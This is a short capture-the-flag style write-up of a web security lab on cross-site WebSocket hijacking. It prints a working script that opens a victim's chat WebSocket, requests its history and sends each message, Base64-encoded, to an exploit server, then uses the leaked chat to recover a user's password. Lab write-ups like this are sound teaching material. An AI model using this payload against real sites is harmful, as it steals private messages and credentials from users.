First, we shall try to intercept the GET request to /chat to see what’s underneath the hood. Notice that there are no CSRF protections in place, only a session cookie is employed: We also notice that the session cookie has SameSite=None, that means it’s even more vulnerable to potential CSRF attacks, which we are about to do. After sending out some messages on /chat, in our WebSocket history we notice that once the client sends a READY message to the server, the server responds with all of the chat history. We can verify this using Repeater as follow: Now we know there are three vulnerabilities present in this chat system, it’s time to craft the payload!

<script>
    var ws = new WebSocket("wss://<lab-id>.web-security-academy.net/chat");

    ws.onopen = function() {
        ws.send("READY");
    };

    ws.onmessage = function(event) {
        fetch(
            "https://<exploit-server>/exploit?message=" + 
                btoa(event.data)
        );
    };
</script>

In this payload, we send out a READY message to obtain the chat history of our victim, and insert each chat sent, Base64 encoded, into a fake endpoint as a query string.

Upon sending the payload to the victim, we can check the access log and find out the victim has indeed visited /exploit and all the chatlog is subsequently displayed in the query strings proceeding it:

We then decode the messages and obtain the password for carlos, solving the lab: